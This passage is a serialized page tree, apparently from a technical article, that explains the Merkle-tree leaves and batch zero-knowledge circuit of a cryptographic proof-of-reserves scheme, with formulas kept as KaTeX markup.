"tag":315,"props":91271,"children":91273},{"className":91272},[2403,19992],[91274],{"type":26,"value":91275},"o",{"type":20,"tag":315,"props":91277,"children":91279},{"className":91278},[2403,19992],[91280],{"type":26,"value":54656},{"type":20,"tag":315,"props":91282,"children":91284},{"className":91283},[20121],[91285],{"type":26,"value":1049},{"type":20,"tag":315,"props":91287,"children":91289},{"className":91288},[2403,19992],[91290],{"type":26,"value":35},{"type":20,"tag":315,"props":91292,"children":91294},{"className":91293},[2403,19992],[91295],{"type":26,"value":91296},"sse",{"type":20,"tag":315,"props":91298,"children":91300},{"className":91299},[2403,19992],[91301],{"type":26,"value":20134},{"type":20,"tag":315,"props":91303,"children":91306},{"className":91304,"style":91305},[2403],"margin-right:0.02778em;",[91307],{"type":26,"value":1463},{"type":20,"tag":315,"props":91309,"children":91311},{"className":91310},[2403,19992],[91312],{"type":26,"value":91313},"ba",{"type":20,"tag":315,"props":91315,"children":91318},{"className":91316,"style":91317},[2403,19992],"margin-right:0.01968em;",[91319],{"type":26,"value":91320},"l",{"type":20,"tag":315,"props":91322,"children":91324},{"className":91323},[2403,19992],[91325],{"type":26,"value":91326},"an",{"type":20,"tag":315,"props":91328,"children":91330},{"className":91329},[2403,19992],[91331],{"type":26,"value":91332},"ce",{"type":20,"tag":315,"props":91334,"children":91336},{"className":91335},[2403],[91337,91342],{"type":20,"tag":315,"props":91338,"children":91340},{"className":91339},[2403,19992],[91341],{"type":26,"value":9052},{"type":20,"tag":315,"props":91343,"children":91345},{"className":91344},[2419],[91346],{"type":20,"tag":315,"props":91347,"children":91349},{"className":91348},[2424,20046],[91350,91381],{"type":20,"tag":315,"props":91351,"children":91353},{"className":91352},[2429],[91354,91376],{"type":20,"tag":315,"props":91355,"children":91358},{"className":91356,"style":91357},[2434],"height:0.3011em;",[91359],{"type":20,"tag":315,"props":91360,"children":91362},{"style":91361},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[91363,91367],{"type":20,"tag":315,"props":91364,"children":91366},{"className":91365,"style":2444},[2443],[],{"type":20,"tag":315,"props":91368,"children":91370},{"className":91369},[2449,2450,2451,2452],[91371],{"type":20,"tag":315,"props":91372,"children":91374},{"className":91373},[2403,2452],[91375],{"type":26,"value":1063},{"type":20,"tag":315,"props":91377,"children":91379},{"className":91378},[20149],[91380],{"type":26,"value":20152},{"type":20,"tag":315,"props":91382,"children":91384},{"className":91383},[2429],[91385],{"type":20,"tag":315,"props":91386,"children":91389},{"className":91387,"style":91388},[2434],"height:0.15em;",[91390],{"type":20,"tag":315,"props":91391,"children":91392},{},[],{"type":20,"tag":315,"props":91394,"children":91396},{"className":91395},[2483],[91397],{"type":26,"value":20093},{"type":20,"tag":315,"props":91399,"children":91401},{"className":91400},[2403],[91402],{"type":26,"value":91403},"∣∣",{"type":20,"tag":315,"props":91405,"children":91407},{"className":91406},[2483],[91408],{"type":26,"value":20093},{"type":20,"tag":315,"props":91410,"children":91412},{"className":91411},[2403,19992],[91413],{"type":26,"value":35},{"type":20,"tag":315,"props":91415,"children":91417},{"className":91416},[2403,19992],[91418],{"type":26,"value":91296},{"type":20,"tag":315,"props":91420,"children":91422},{"className":91421},[2403,19992],[91423],{"type":26,"value":20134},{"type":20,"tag":315,"props":91425,"children":91427},{"className":91426,"style":91305},[2403],[91428],{"type":26,"value":1463},{"type":20,"tag":315,"props":91430,"children":91432},{"className":91431},[2403,19992],[91433],{"type":26,"value":91313},{"type":20,"tag":315,"props":91435,"children":91437},{"className":91436,"style":91317},[2403,19992],[91438],{"type":26,"value":91320},{"type":20,"tag":315,"props":91440,"children":91442},{"className":91441},[2403,19992],[91443],{"type":26,"value":91326},{"type":20,"tag":315,"props":91445,"children":91447},{"className":91446},[2403,19992],[91448],{"type":26,"value":91332},{"type":20,"tag":315,"props":91450,"children":91452},{"className":91451},[2403],[91453,91458],{"type":20,"tag":315,"props":91454,"children":91456},{"className":91455},[2403,19992],[91457],{"type":26,"value":9052},{"type":20,"tag":315,"props":91459,"children":91461},{"className":91460},[2419],[91462],{"type":20,"tag":315,"props":91463,"children":91465},{"className":91464},[2424,20046],[91466,91495],{"type":20,"tag":315,"props":91467,"children":91469},{"className":91468},[2429],[91470,91490],{"type":20,"tag":315,"props":91471,"children":91473},{"className":91472,"style":91357},[2434],[91474],{"type":20,"tag":315,"props":91475,"children":91476},{"style":91361},[91477,91481],{"type":20,"tag":315,"props":91478,"children":91480},{"className":91479,"style":2444},[2443],[],{"type":20,"tag":315,"props":91482,"children":91484},{"className":91483},[2449,2450,2451,2452],[91485],{"type":20,"tag":315,"props":91486,"children":91488},{"className":91487},[2403,2452],[91489],{"type":26,"value":2406},{"type":20,"tag":315,"props":91491,"children":91493},{"className":91492},[20149],[91494],{"type":26,"value":20152},{"type":20,"tag":315,"props":91496,"children":91498},{"className":91497},[2429],[91499],{"type":20,"tag":315,"props":91500,"children":91502},{"className":91501,"style":91388},[2434],[91503],{"type":20,"tag":315,"props":91504,"children":91505},{},[],{"type":20,"tag":315,"props":91507,"children":91509},{"className":91508},[2483],[91510],{"type":26,"value":20093},{"type":20,"tag":315,"props":91512,"children":91514},{"className":91513},[2403],[91515],{"type":26,"value":7990},{"type":20,"tag":315,"props":91517,"children":91519},{"className":91518},[2483],[91520],{"type":26,"value":20093},{"type":20,"tag":315,"props":91522,"children":91524},{"className":91523},[2403],[91525],{"type":26,"value":91403},{"type":20,"tag":315,"props":91527,"children":91529},{"className":91528},[2483],[91530],{"type":26,"value":20093},{"type":20,"tag":315,"props":91532,"children":91534},{"className":91533,"style":20451},[2403,19992],[91535],{"type":26,"value":20454},{"type":20,"tag":315,"props":91537,"children":91540},{"className":91538,"style":91539},[2403,19992],"margin-right:0.08125em;",[91541],{"type":26,"value":91542},"H",{"type":20,"tag":315,"props":91544,"children":91546},{"className":91545},[2403,19992],[91547],{"type":26,"value":75025},{"type":20,"tag":315,"props":91549,"children":91551},{"className":91550},[2403],[91552],{"type":26,"value":91553},"256",{"type":20,"tag":315,"props":91555,"children":91557},{"className":91556},[20121],[91558],{"type":26,"value":1049},{"type":20,"tag":315,"props":91560,"children":91562},{"className":91561},[2403,19992],[91563],{"type":26,"value":91564},"u",{"type":20,"tag":315,"props":91566,"children":91568},{"className":91567,"style":91305},[2403,19992],[91569],{"type":26,"value":91570},"ser",{"type":20,"tag":315,"props":91572,"children":91574},{"className":91573,"style":91305},[2403],[91575],{"type":26,"value":1463},{"type":20,"tag":315,"props":91577,"children":91579},{"className":91578},[2403,19992],[91580],{"type":26,"value":2122},{"type":20,"tag":315,"props":91582,"children":91584},{"className":91583},[2403,19992],[91585],{"type":26,"value":68820},{"type":20,"tag":315,"props":91587,"children":91589},{"className":91588},[20143],[91590],{"type":26,"value":1509},{"type":20,"tag":315,"props":91592,"children":91594},{"className":91593},[2483],[91595],{"type":26,"value":20093},{"type":20,"tag":315,"props":91597,"children":91599},{"className":91598},[2403],[91600],{"type":26,"value":91403},{"type":20,"tag":315,"props":91602,"children":91604},{"className":91603},[2483],[91605],{"type":26,"value":20093},{"type":20,"tag":315,"props":91607,"children":91609},{"className":91608},[2403,19992],[91610],{"type":26,"value":91564},{"type":20,"tag":315,"props":91612,"children":91614},{"className":91613,"style":91305},[2403,19992],[91615],{"type":26,"value":91570},{"type":20,"tag":315,"props":91617,"children":91619},{"className":91618,"style":91305},[2403],[91620],{"type":26,"value":1463},{"type":20,"tag":315,"props":91622,"children":91624},{"className":91623},[2403,19992],[91625],{"type":26,"value":54656},{"type":20,"tag":315,"props":91627,"children":91629},{"className":91628},[2403,19992],[91630],{"type":26,"value":91275},{"type":20,"tag":315,"props":91632,"children":91634},{"className":91633},[2403,19992],[91635],{"type":26,"value":54656},{"type":20,"tag":315,"props":91637,"children":91639},{"className":91638},[2403,19992],[91640],{"type":26,"value":91332},{"type":20,"tag":315,"props":91642,"children":91644},{"className":91643},[20143],[91645],{"type":26,"value":1509},{"type":20,"tag":29,"props":91647,"children":91648},{},[91649,91651,91657],{"type":26,"value":91650},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":20,"tag":119,"props":91652,"children":91654},{"className":91653},[],[91655],{"type":26,"value":91656},"uuid",{"type":26,"value":91658},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":20,"tag":219,"props":91660,"children":91662},{"id":91661},"batch-circuit",[91663],{"type":26,"value":91664},"Batch Circuit",{"type":20,"tag":29,"props":91666,"children":91667},{},[91668],{"type":26,"value":91669},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":20,"tag":29,"props":91671,"children":91672},{},[91673],{"type":20,"tag":3717,"props":91674,"children":91675},{},[91676],{"type":26,"value":91677},"Public Inputs",{"type":20,"tag":15089,"props":91679,"children":91680},{},[91681,91686,91691],{"type":20,"tag":72,"props":91682,"children":91683},{},[91684],{"type":26,"value":91685},"Asset prices in USD",{"type":20,"tag":72,"props":91687,"children":91688},{},[91689],{"type":26,"value":91690},"Merkle tree hash",{"type":20,"tag":72,"props":91692,"children":91693},{},[91694],{"type":26,"value":91695},"Summed asset balances",{"type":20,"tag":29,"props":91697,"children":91698},{},[91699],{"type":20,"tag":3717,"props":91700,"children":91701},{},[91702],{"type":26,"value":91703},"Private Inputs",{"type":20,"tag":15089,"props":91705,"children":91706},{},[91707,91712],{"type":20,"tag":72,"props":91708,"children":91709},{},[91710],{"type":26,"value":91711},"Users balances",{"type":20,"tag":72,"props":91713,"children":91714},{},[91715],{"type":26,"value":91716},"Merkle tree leaves hashes",{"type":20,"tag":29,"props":91718,"children":91719},{},[91720],{"type":20,"tag":3717,"props":91721,"children":91722},{},[91723],{"type":26,"value":91724},"Constraints",{"type":20,"tag":15089,"props":91726,"children":91727},{},[91728,92181,92349,92696,93094],{"type":20,"tag":72,"props":91729,"children":91730},{},[91731],{"type":20,"tag":119,"props":91732,"children":91734},{"className":91733},[2375,2376],[91735],{"type":20,"tag":315,"props":91736,"children":91738},{"className":91737},[2381],[91739],{"type":20,"tag":315,"props":91740,"children":91742},{"className":91741,"ariaHidden":2387},[2386],[91743,91882,92086],{"type":20,"tag":315,"props":91744,"children":91746},{"className":91745},[2392],[91747,91752,91757,91763,91768,91773,91778,91783,91788,91795,91800,91805,91810,91869,91873,91878],{"type":20,"tag":315,"props":91748,"children":91751},{"className":91749,"style":91750},[2397],"height:0.9695em;vertical-align:-0.31em;",[],{"type":20,"tag":315,"props":91753,"children":91755},{"className":91754},[2403,19992],[91756],{"type":26,"value":35},{"type":20,"tag":315,"props":91758,"children":91760},{"className":91759},[2403,19992],[91761],{"type":26,"value":91762},"cco",{"type":20,"tag":315,"props":91764,"children":91766},{"className":91765},[2403,19992],[91767],{"type":26,"value":91564},{"type":20,"tag":315,"props":91769,"children":91771},{"className":91770},[2403,19992],[91772],{"type":26,"value":54656},{"type":20,"tag":315,"props":91774,"children":91776},{"className":91775},[2403,19992],[91777],{"type":26,"value":20134},{"type":20,"tag":315,"props":91779,"children":91781},{"className":91780,"style":91305},[2403],[91782],{"type":26,"value":1463},{"type":20,"tag":315,"props":91784,"children":91786},{"className":91785},[2403,19992],[91787],{"type":26,"value":49706},{"type":20,"tag":315,"props":91789,"children":91792},{"className":91790,"style":91791},[2403,19992],"margin-right:0.03588em;",[91793],{"type":26,"value":91794},"q",{"type":20,"tag":315,"props":91796,"children":91798},{"className":91797},[2403,19992],[91799],{"type":26,"value":91564},{"type":20,"tag":315,"props":91801,"children":91803},{"className":91802},[2403,19992],[91804],{"type":26,"value":2122},{"type":20,"tag":315,"props":91806,"children":91808},{"className":91807},[2403,19992],[91809],{"type":26,"value":20134},{"type":20,"tag":315,"props":91811,"children":91813},{"className":91812},[2403],[91814,91819],{"type":20,"tag":315,"props":91815,"children":91817},{"className":91816,"style":91791},[2403,19992],[91818],{"type":26,"value":1495},{"type":20,"tag":315,"props":91820,"children":91822},{"className":91821},[2419],[91823],{"type":20,"tag":315,"props":91824,"children":91826},{"className":91825},[2424,20046],[91827,91858],{"type":20,"tag":315,"props":91828,"children":91830},{"className":91829},[2429],[91831,91853],{"type":20,"tag":315,"props":91832,"children":91835},{"className":91833,"style":91834},[2434],"height:0.3117em;",[91836],{"type":20,"tag":315,"props":91837,"children":91839},{"style":91838},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[91840,91844],{"type":20,"tag":315,"props":91841,"children":91843},{"className":91842,"style":2444},[2443],[],{"type":20,"tag":315,"props":91845,"children":91847},{"className":91846},[2449,2450,2451,2452],[91848],{"type":20,"tag":315,"props":91849,"children":91851},{"className":91850},[2403,19992,2452],[91852],{"type":26,"value":2122},{"type":20,"tag":315,"props":91854,"children":91856},{"className":91855},[20149],[91857],{"type":26,"value":20152},{"type":20,"tag":315,"props":91859,"children":91861},{"className":91860},[2429],[91862],{"type":20,"tag":315,"props":91863,"children":91865},{"className":91864,"style":91388},[2434],[91866],{"type":20,"tag":315,"props":91867,"children":91868},{},[],{"type":20,"tag":315,"props":91870,"children":91872},{"className":91871,"style":2581},[2483],[],{"type":20,"tag":315,"props":91874,"children":91876},{"className":91875},[2586],[91877],{"type":26,"value":538},{"type":20,"tag":315,"props":91879,"children":91881},{"className":91880,"style":2581},[2483],[],{"type":20,"tag":315,"props":91883,"children":91885},{"className":91884},[2392],[91886,91890,91896,91901,91906,91911,91916,91921,91926,91931,91936,91941,91946,91951,91956,91961,91966,91971,92028,92033,92038,92043,92048,92053,92058,92063,92068,92073,92077,92082],{"type":20,"tag":315,"props":91887,"children":91889},{"className":91888,"style":91247},[2397],[],{"type":20,"tag":315,"props":91891,"children":91893},{"className":91892},[2403],[91894],{"type":26,"value":91895},"Σ",{"type":20,"tag":315,"props":91897,"children":91899},{"className":91898},[2483],[91900],{"type":26,"value":20093},{"type":20,"tag":315,"props":91902,"children":91904},{"className":91903},[2403,19992],[91905],{"type":26,"value":35},{"type":20,"tag":315,"props":91907,"children":91909},{"className":91908},[2403,19992],[91910],{"type":26,"value":91762},{"type":20,"tag":315,"props":91912,"children":91914},{"className":91913},[2403,19992],[91915],{"type":26,"value":91564},{"type":20,"tag":315,"props":91917,"children":91919},{"className":91918},[2403,19992],[91920],{"type":26,"value":54656},{"type":20,"tag":315,"props":91922,"children":91924},{"className":91923},[2403,19992],[91925],{"type":26,"value":20134},{"type":20,"tag":315,"props":91927,"children":91929},{"className":91928,"style":91305},[2403],[91930],{"type":26,"value":1463},{"type":20,"tag":315,"props":91932,"children":91934},{"className":91933},[2403,19992],[91935],{"type":26,"value":35},{"type":20,"tag":315,"props":91937,"children":91939},{"className":91938},[2403,19992],[91940],{"type":26,"value":91296},{"type":20,"tag":315,"props":91942,"children":91944},{"className":91943},[2403,19992],[91945],{"type":26,"value":20134},{"type":20,"tag":315,"props":91947,"children":91949},{"className":91948,"style":91305},[2403],[91950],{"type":26,"value":1463},{"type":20,"tag":315,"props":91952,"children":91954},{"className":91953},[2403,19992],[91955],{"type":26,"value":91313},{"type":20,"tag":315,"props":91957,"children":91959},{"className":91958,"style":91317},[2403,19992],[91960],{"type":26,"value":91320},{"type":20,"tag":315,"props":91962,"children":91964},{"className":91963},[2403,19992],[91965],{"type":26,"value":91326},{"type":20,"tag":315,"props":91967,"children":91969},{"className":91968},[2403,19992],[91970],{"type":26,"value":91332},{"type":20,"tag":315,"props":91972,"children":91974},{"className":91973},[2403],[91975,91980],{"type":20,"tag":315,"props":91976,"children":91978},{"className":91977},[2403,19992],[91979],{"type":26,"value":9052},{"type":20,"tag":315,"props":91981,"children":91983},{"className":91982},[2419],[91984],{"type":20,"tag":315,"props":91985,"children":91987},{"className":91986},[2424,20046],[91988,92017],{"type":20,"tag":315,"props":91989,"children":91991},{"className":91990},[2429],[91992,92012],{"type":20,"tag":315,"props":91993,"children":91995},{"className":91994,"style":91834},[2434],[91996],{"type":20,"tag":315,"props":91997,"children":91998},{"style":91361},[91999,92003],{"type":20,"tag":315,"props":92000,"children":92002},{"className":92001,"style":2444},[2443],[],{"type":20,"tag":315,"props":92004,"children":92006},{"className":92005},[2449,2450,2451,2452],[92007],{"type":20,"tag":315,"props":92008,"children":92010},{"className":92009},[2403,19992,2452],[92011],{"type":26,"value":2122},{"type":20,"tag":315,"props":92013,"children":92015},{"className":92014},[20149],[92016],{"type":26,"value":20152},{"type":20,"tag":315,"props":92018,"children":92020},{"className":92019},[2429],[92021],{"type":20,"tag":315,"props":92022,"children":92024},{"className":92023,"style":91388},[2434],[92025],{"type":20,"tag":315,"props":92026,"children":92027},{},[],{"type":20,"tag":315,"props":92029,"children":92031},{"className":92030},[20121],[92032],{"type":26,"value":2117},{"type":20,"tag":315,"props":92034,"children":92036},{"className":92035},[2403,19992],[92037],{"type":26,"value":35},{"type":20,"tag":315,"props":92039,"children":92041},{"className":92040},[2403,19992],[92042],{"type":26,"value":91296},{"type":20,"tag":315,"props":92044,"children":92046},{"className":92045},[2403,19992],[92047],{"type":26,"value":20134},{"type":20,"tag":315,"props":92049,"children":92051},{"className":92050,"style":91305},[2403],[92052],{"type":26,"value":1463},{"type":20,"tag":315,"props":92054,"children":92056},{"className":92055},[2403,19992],[92057],{"type":26,"value":54656},{"type":20,"tag":315,"props":92059,"children":92061},{"className":92060},[2403,19992],[92062],{"type":26,"value":91564},{"type":20,"tag":315,"props":92064,"children":92066},{"className":92065},[2403,19992],[92067],{"type":26,"value":49385},{"type":20,"tag":315,"props":92069,"children":92071},{"className":92070},[20143],[92072],{"type":26,"value":13812},{"type":20,"tag":315,"props":92074,"children":92076},{"className":92075,"style":2484},[2483],[],{"type":20,"tag":315,"props":92078,"children":92080},{"className":92079},[2489],[92081],{"type":26,"value":2492},{"type":20,"tag":315,"props":92083,"children":92085},{"className":92084,"style":2484},[2483],[],{"type":20,"tag":315,"props":92087,"children":92089},{"className":92088},[2392],[92090,92094,92099,92104,92109,92114,92119,92125,92130,92136,92141,92146,92151,92156,92161,92166,92171,92176],{"type":20,"tag":315,"props":92091,"children":92093},{"className":92092,"style":91247},[2397],[],{"type":20,"tag":315,"props":92095,"children":92097},{"className":92096},[2403,19992],[92098],{"type":26,"value":35},{"type":20,"tag":315,"props":92100,"children":92102},{"className":92101},[2403,19992],[92103],{"type":26,"value":91296},{"type":20,"tag":315,"props":92105,"children":92107},{"className":92106},[2403,19992],[92108],{"type":26,"value":20134},{"type":20,"tag":315,"props":92110,"children":92112},{"className":92111,"style":91305},[2403],[92113],{"type":26,"value":1463},{"type":20,"tag":315,"props":92115,"children":92117},{"className":92116},[2403,19992],[92118],{"type":26,"value":29},{"type":20,"tag":315,"props":92120,"children":92122},{"className":92121,"style":91305},[2403,19992],[92123],{"type":26,"value":92124},"r",{"type":20,"tag":315,"props":92126,"children":92128},{"className":92127},[2403,19992],[92129],{"type":26,"value":2122},{"type":20,"tag":315,"props":92131,"children":92133},{"className":92132},[2403,19992],[92134],{"type":26,"value":92135},"ces",{"type":20,"tag":315,"props":92137,"children":92139},{"className":92138},[20121],[92140],{"type":26,"value":2117},{"type":20,"tag":315,"props":92142,"children":92144},{"className":92143},[2403,19992],[92145],{"type":26,"value":35},{"type":20,"tag":315,"props":92147,"children":92149},{"className":92148},[2403,19992],[92150],{"type":26,"value":91296},{"type":20,"tag":315,"props":92152,"children":92154},{"className":92153},[2403,19992],[92155],{"type":26,"value":20134},{"type":20,"tag":315,"props":92157,"children":92159},{"className":92158,"style":91305},[2403],[92160],{"type":26,"value":1463},{"type":20,"tag":315,"props":92162,"children":92164},{"className":92163},[2403,19992],[92165],{"type":26,"value":54656},{"type":20,"tag":315,"props":92167,"children":92169},{"className":92168},[2403,19992],[92170],{"type":26,"value":91564},{"type":20,"tag":315,"props":92172,"children":92174},{"className":92173},[2403,19992],[92175],{"type":26,"value":49385},{"type":20,"tag":315,"props":92177,"children":92179},{"className":92178},[20143],[92180],{"type":26,"value":13812},{"type":20,"tag":72,"props":92182,"children":92183},{},[92184,92343,92344],{"type":20,"tag":119,"props":92185,"children":92187},{"className":92186},[2375,2376],[92188],{"type":20,"tag":315,"props":92189,"children":92191},{"className":92190},[2381],[92192],{"type":20,"tag":315,"props":92193,"children":92195},{"className":92194,"ariaHidden":2387},[2386],[92196,92329],{"type":20,"tag":315,"props":92197,"children":92199},{"className":92198},[2392],[92200,92204,92209,92214,92219,92224,92229,92234,92239,92244,92249,92254,92259,92316,92320,92325],{"type":20,"tag":315,"props":92201,"children":92203},{"className":92202,"style":91750},[2397],[],{"type":20,"tag":315,"props":92205,"children":92207},{"className":92206},[2403,19992],[92208],{"type":26,"value":35},{"type":20,"tag":315,"props":92210,"children":92212},{"className":92211},[2403,19992],[92213],{"type":26,"value":91762},{"type":20,"tag":315,"props":92215,"children":92217},{"className":92216},[2403,19992],[92218],{"type":26,"value":91564},{"type":20,"tag":315,"props":92220,"children":92222},{"className":92221},[2403,19992],[92223],{"type":26,"value":54656},{"type":20,"tag":315,"props":92225,"children":92227},{"className":92226},[2403,19992],[92228],{"type":26,"value":20134},{"type":20,"tag":315,"props":92230,"children":92232},{"className":92231,"style":91305},[2403],[92233],{"type":26,"value":1463},{"type":20,"tag":315,"props":92235,"children":92237},{"className":92236},[2403,19992],[92238],{"type":26,"value":49706},{"type":20,"tag":315,"props":92240,"children":92242},{"className":92241,"style":91791},[2403,19992],[92243],{"type":26,"value":91794},{"type":20,"tag":315,"props":92245,"children":92247},{"className":92246},[2403,19992],[92248],{"type":26,"value":91564},{"type":20,"tag":315,"props":92250,"children":92252},{"className":92251},[2403,19992],[92253],{"type":26,"value":2122},{"type":20,"tag":315,"props":92255,"children":92257},{"className":92256},[2403,19992],[92258],{"type":26,"value":20134},{"type":20,"tag":315,"props":92260,"children":92262},{"className":92261},[2403],[92263,92268],{"type":20,"tag":315,"props":92264,"children":92266},{"className":92265,"style":91791},[2403,19992],[92267],{"type":26,"value":1495},{"type":20,"tag":315,"props":92269,"children":92271},{"className":92270},[2419],[92272],{"type":20,"tag":315,"props":92273,"children":92275},{"className":92274},[2424,20046],[92276,92305],{"type":20,"tag":315,"props":92277,"children":92279},{"className":92278},[2429],[92280,92300],{"type":20,"tag":315,"props":92281,"children":92283},{"className":92282,"style":91834},[2434],[92284],{"type":20,"tag":315,"props":92285,"children":92286},{"style":91838},[92287,92291],{"type":20,"tag":315,"props":92288,"children":92290},{"className":92289,"style":2444},[2443],[],{"type":20,"tag":315,"props":92292,"children":92294},{"className":92293},[2449,2450,2451,2452],[92295],{"type":20,"tag":315,"props":92296,"children":92298},{"className":92297},[2403,19992,2452],[92299],{"type":26,"value":2122},{"type":20,"tag":315,"props":92301,"children":92303},{"className":92302},[20149],[92304],{"type":26,"value":20152},{"type":20,"tag":315,"props":92306,"children":92308},{"className":92307},[2429],[92309],{"type":20,"tag":315,"props":92310,"children":92312},{"className":92311,"style":91388},[2434],[92313],{"type":20,"tag":315,"props":92314,"children":92315},{},[],{"type":20,"tag":315,"props":92317,"children":92319},{"className":92318,"style":2581},[2483],[],{"type":20,"tag":315,"props":92321,"children":92323},{"className":92322},[2586],[92324],{"type":26,"value":8343},{"type":20,"tag":315,"props":92326,"children":92328},{"className":92327,"style":2581},[2483],[],{"type":20,"tag":315,"props":92330,"children":92332},{"className":92331},[2392],[92333,92338],{"type":20,"tag":315,"props":92334,"children":92337},{"className":92335,"style":92336},[2397],"height:0.6444em;",[],{"type":20,"tag":315,"props":92339,"children":92341},{"className":92340},[2403],[92342],{"type":26,"value":1063},{"type":26,"value":4852},{"type":20,"tag":3717,"props":92345,"children":92346},{},[92347],{"type":26,"value":92348},"(non-negativity)",{"type":20,"tag":72,"props":92350,"children":92351},{},[92352,92690,92691],{"type":20,"tag":119,"props":92353,"children":92355},{"className":92354},[2375,2376],[92356],{"type":20,"tag":315,"props":92357,"children":92359},{"className":92358},[2381],[92360],{"type":20,"tag":315,"props":92361,"children":92363},{"className":92362,"ariaHidden":2387},[2386],[92364,92500],{"type":20,"tag":315,"props":92365,"children":92367},{"className":92366},[2392],[92368,92372,92377,92382,92387,92392,92397,92402,92407,92412,92417,92422,92427,92432,92437,92442,92447,92452,92457,92462,92467,92472,92477,92482,92487,92491,92496],{"type":20,"tag":315,"props":92369,"children":92371},{"className":92370,"style":91247},[2397],[],{"type":20,"tag":315,"props":92373,"children":92375},{"className":92374},[2403,19992],[92376],{"type":26,"value":20134},{"type":20,"tag":315,"props":92378,"children":92380},{"className":92379},[2403,19992],[92381],{"type":26,"value":91275},{"type":20,"tag":315,"props":92383,"children":92385},{"className":92384},[2403,19992],[92386],{"type":26,"value":20134},{"type":20,"tag":315,"props":92388,"children":92390},{"className":92389},[2403,19992],[92391],{"type":26,"value":35},{"type":20,"tag":315,"props":92393,"children":92395},{"className":92394,"style":91317},[2403,19992],[92396],{"type":26,"value":91320},{"type":20,"tag":315,"props":92398,"children":92400},{"className":92399,"style":91305},[2403],[92401],{"type":26,"value":1463},{"type":20,"tag":315,"props":92403,"children":92405},{"className":92404},[2403,19992],[92406],{"type":26,"value":35},{"type":20,"tag":315,"props":92408,"children":92410},{"className":92409},[2403,19992],[92411],{"type":26,"value":91296},{"type":20,"tag":315,"props":92413,"children":92415},{"className":92414},[2403,19992],[92416],{"type":26,"value":20134},{"type":20,"tag":315,"props":92418,"children":92420},{"className":92419,"style":91305},[2403],[92421],{"type":26,"value":1463},{"type":20,"tag":315,"props":92423,"children":92425},{"className":92424},[2403,19992],[92426],{"type":26,"value":91313},{"type":20,"tag":315,"props":92428,"children":92430},{"className":92429,"style":91317},[2403,19992],[92431],{"type":26,"value":91320},{"type":20,"tag":315,"props":92433,"children":92435},{"className":92434},[2403,19992],[92436],{"type":26,"value":91326},{"type":20,"tag":315,"props":92438,"children":92440},{"className":92439},[2403,19992],[92441],{"type":26,"value":91332},{"type":20,"tag":315,"props":92443,"children":92445},{"className":92444},[20121],[92446],{"type":26,"value":2117},{"type":20,"tag":315,"props":92448,"children":92450},{"className":92449},[2403,19992],[92451],{"type":26,"value":35},{"type":20,"tag":315,"props":92453,"children":92455},{"className":92454},[2403,19992],[92456],{"type":26,"value":91296},{"type":20,"tag":315,"props":92458,"children":92460},{"className":92459},[2403,19992],[92461],{"type":26,"value":20134},{"type":20,"tag":315,"props":92463,"children":92465},{"className":92464,"style":91305},[2403],[92466],{"type":26,"value":1463},{"type":20,"tag":315,"props":92468,"children":92470},{"className":92469},[2403,19992],[92471],{"type":26,"value":54656},{"type":20,"tag":315,"props":92473,"children":92475},{"className":92474},[2403,19992],[92476],{"type":26,"value":91564},{"type":20,"tag":315,"props":92478,"children":92480},{"className":92479},[2403,19992],[92481],{"type":26,"value":49385},{"type":20,"tag":315,"props":92483,"children":92485},{"className":92484},[20143],[92486],{"type":26,"value":13812},{"type":20,"tag":315,"props":92488,"children":92490},{"className":92489,"style":2581},[2483],[],{"type":20,"tag":315,"props":92492,"children":92494},{"className":92493},[2586],[92495],{"type":26,"value":538},{"type":20,"tag":315,"props":92497,"children":92499},{"className":92498,"style":2581},[2483],[],{"type":20,"tag":315,"props":92501,"children":92503},{"className":92502},[2392],[92504,92508,92513,92518,92523,92528,92533,92538,92543,92548,92553,92558,92563,92568,92573,92578,92583,92588,92645,92650,92655,92660,92665,92670,92675,92680,92685],{"type":20,"tag":315,"props":92505,"children":92507},{"className":92506,"style":91247},[2397],[],{"type":20,"tag":315,"props":92509,"children":92511},{"className":92510},[2403],[92512],{"type":26,"value":91895},{"type":20,"tag":315,"props":92514,"children":92516},{"className":92515},[2483],[92517],{"type":26,"value":20093},{"type":20,"tag":315,"props":92519,"children":92521},{"className":92520},[2403,19992],[92522],{"type":26,"value":35},{"type":20,"tag":315,"props":92524,"children":92526},{"className":92525},[2403,19992],[92527],{"type":26,"value":91762},{"type":20,"tag":315,"props":92529,"children":92531},{"className":92530},[2403,19992],[92532],{"type":26,"value":91564},{"type":20,"tag":315,"props":92534,"children":92536},{"className":92535},[2403,19992],[92537],{"type":26,"value":54656},{"type":20,"tag":315,"props":92539,"children":92541},{"className":92540},[2403,19992],[92542],{"type":26,"value":20134},{"type":20,"tag":315,"props":92544,"children":92546},{"className":92545,"style":91305},[2403],[92547],{"type":26,"value":1463},{"type":20,"tag":315,"props":92549,"children":92551},{"className":92550},[2403,19992],[92552],{"type":26,"value":35},{"type":20,"tag":315,"props":92554,"children":92556},{"className":92555},[2403,19992],[92557],{"type":26,"value":91296},{"type":20,"tag":315,"props":92559,"children":92561},{"className":92560},[2403,19992],[92562],{"type":26,"value":20134},{"type":20,"tag":315,"props":92564,"children":92566},{"className":92565,"style":91305},[2403],[92567],{"type":26,"value":1463},{"type":20,"tag":315,"props":92569,"children":92571},{"className":92570},[2403,19992],[92572],{"type":26,"value":91313},{"type":20,"tag":315,"props":92574,"children":92576},{"className":92575,"style":91317},[2403,19992],[92577],{"type":26,"value":91320},{"type":20,"tag":315,"props":92579,"children":92581},{"className":92580},[2403,19992],[92582],{"type":26,"value":91326},{"type":20,"tag":315,"props":92584,"children":92586},{"className":92585},[2403,19992],[92587],{"type":26,"value":91332},{"type":20,"tag":315,"props":92589,"children":92591},{"className":92590},[2403],[92592,92597],{"type":20,"tag":315,"props":92593,"children":92595},{"className":92594},[2403,19992],[92596],{"type":26,"value":9052},{"type":20,"tag":315,"props":92598,"children":92600},{"className":92599},[2419],[92601],{"type":20,"tag":315,"props":92602,"children":92604},{"className":92603},[2424,20046],[92605,92634],{"type":20,"tag":315,"props":92606,"children":92608},{"className":92607},[2429],[92609,92629],{"type":20,"tag":315,"props":92610,"children":92612},{"className":92611,"style":91834},[2434],[92613],{"type":20,"tag":315,"props":92614,"children":92615},{"style":91361},[92616,92620],{"type":20,"t